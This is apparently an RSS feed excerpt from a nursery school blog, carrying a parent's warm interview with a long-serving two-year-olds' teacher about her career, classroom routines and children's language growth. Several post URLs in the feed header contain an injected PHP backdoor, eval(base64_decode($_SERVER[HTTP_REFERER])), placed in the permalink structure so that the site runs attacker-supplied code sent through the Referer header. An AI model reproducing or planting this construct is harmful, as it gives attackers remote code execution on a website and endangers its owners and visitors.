]]> http://www.maplestreetschool.org/2007/06/07/interview-with-barbara-culbreath/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Interview with Ann-Marie Elley http://www.maplestreetschool.org/2007/06/07/interview-with-ann-marie-elley/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.maplestreetschool.org/2007/06/07/interview-with-ann-marie-elley/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Fri, 08 Jun 2007 02:19:12 +0000 admin http://blog.maplestreetschool.org/?p=36 Francesca: Ann-Marie, let me be totally honest here. The driving force behind my desire to do these staff interviews was to let you know just how invaluable you’re presence at the Maple Street School is to countless families, mine being at the top of the list. Allow me to stand on a soapbox for a moment and sing your praises. When Stephen and I were searching for a school to put Kamari in a few mornings/week, I was terribly picky, to say the least. I changed my life to have that child and even more so to be able to stay home to raise him. When he was but a wee 2 years of age, I recognized his need for more socialization than I could provide. How could he put into practice all my theories of acceptable and kind behavior without a jury of his peers to decide whether or not they were actually serving him? I wasn’t, however, going to just throw him into the lion’s den and after having made the rounds of the other nurseries I was convinced that sending him out there might result in his turning into a gladiator. My fears were put to rest on the day we unexpectedly visited the new digs on Lincoln Road. The huge front room of the Maple Street School was flooded with light. What a jarring difference that made after having seen so many other early childhood centers that resembled Baby Alcatraz with their cement walls, barred and fully shaded windows in either basements or dingy Brownstones. And there you were sweeping up play sand, mediating a minor altercation by reminding the children to use their words (which instantaneously worked) and giving sincere feedback on one of your student’s artistic chicken scratch all while giving us an impromptu tour. We followed you around the building as you swept and took us through every possible aspect of what our child’s experience could be as well as our coop responsibilities. By the time we got home, I realized 3 things: we found our child’s first school, I wished I were two again so I could be in your class and that the light that drew me to the school shines from within. Cleverly designed architecture notwithstanding, that light is you. You are a flame that ignites the spark of creativity, the desire to learn, to share, to take on responsibility and show compassion that exists in every child. Enrolling my boys into the Maple Street School has meant delivering them into my sister’s arms. That’s why we’re at the school, but what’s your story?

Ann-Marie: In 1997 I was working for this wonderful and gracious family, The Hu’s, whose 2 sons, Noah and Nicholas, attended the school. It was located on Nostrand Avenue at the time and was still quite small. After the children’s lunchtime, the teachers tried to take their lunch break together, but needed the extra help of a naptime supervisor. Michael Hu recommended me and I began coming in just for that hour and a half to comfort the children, rub their backs, sing songs, etc. Well, I became quite passionate about helping those kids feel relaxed and began reading quiet stories to them, observing their individual characteristics, noting their routines and realized that I could be of more assistance to them and the teachers. It was a natural progression for me to take on a larger role. The school was expanding with every year and I relished becoming an addition to each new family’s life. I genuinely enjoy giving my individual attention and commitment to each child and their parent(s). Becoming the teacher for the incoming two’s class has given me the opportunity to have an enormous impact on a loved one’s first year of school.

Francesca: How have you and the school changed with the times?

Ann-Marie: Generally speaking, the school has increased in size over the years from 11 families to about 80 with the 2’s class in particular taking on a prominent place at MSS. Each year a huge transformation is bound to occur in a room full of children leaving the safety nest of their parents for the first time to enter a group that is about to collectively experience great social, emotional and physical milestones by the time June rolls around. And as they develop, their growth being shaped and enriched by the change around them, I am challenged to change my planning on a moment’s notice as they begin to show interest in different areas. Fortunately, I have found that family participation has shifted as well. Parents are more willing to “fill in” on a day when the need arises, but there is also a greater desire and effort on their part to voluntarily come in and enrich the classroom with their expertise.

Francesca: Where are the “hot spots” during the day and how do you and your co-teachers get through them?

Ann-Marie: Potty time is always tricky. There is resistance at times, but we encourage them, use sticker reward charts as visual reminders of their accomplishments and use dolls as models. Transitioning to outside play is particularly hard during the cold, winter months. Sometimes, we split the groups so half are getting dressed to go out while the other half are reading or being read to by one of us.

Francesca: Is there anything about this year that is working out surprisingly well?

Ann-Marie: Their language development has gone beyond my imagination. I began by expanding their vocabulary through books that they were especially interested in and then used oral storytelling, songs and dramatic play to reinforce what we had been working on. Their command of the language is evident as I see each one really using their words to express how they feel.

Francesca: I recall the particular emphasis you put on “using one’s words” when Kamari was in your class. It’s really served us as our family has grown and he had to deal with his younger brothers. Is this a philosophy you borrowed from your stash of parenting skills?

Ann-Marie: Honestly, no. That was a cultural disadvantage. Being a teacher actually helped me tune in and listen to my own kids more. I’ve gained a lot of wisdom teaching this age group for so many years. It’s made me realize that each child comes into the world with their individual qualities that help build their character later in society. The one thing I had as a parent that has definitely defined me as a teacher is my steadfast reliance on discipline and routine. Structure, organization, having a plan has enabled me to always know what comes next and be ready for it, even if it’s change that I have to prepare for.

Francesca: If MSS was a restaurant and my kids ordered the “Ann-Marie Special”, what would they get?

Ann-Marie: They would get a bowl full of electrifying energy that would arouse their desire to focus on what I have to share. I would feed them delightful spoonfuls of observation and experimentation. I would feed them enough to satiate their appetite for Mommy and Daddy while they’re away from home. Their young lives are filled with challenges and uncertainties and I would help them discover what tastes suit them best on any given day.

Francesca: Sounds like soul food, Ann-Marie. Thanks for taking such great of our little ones.

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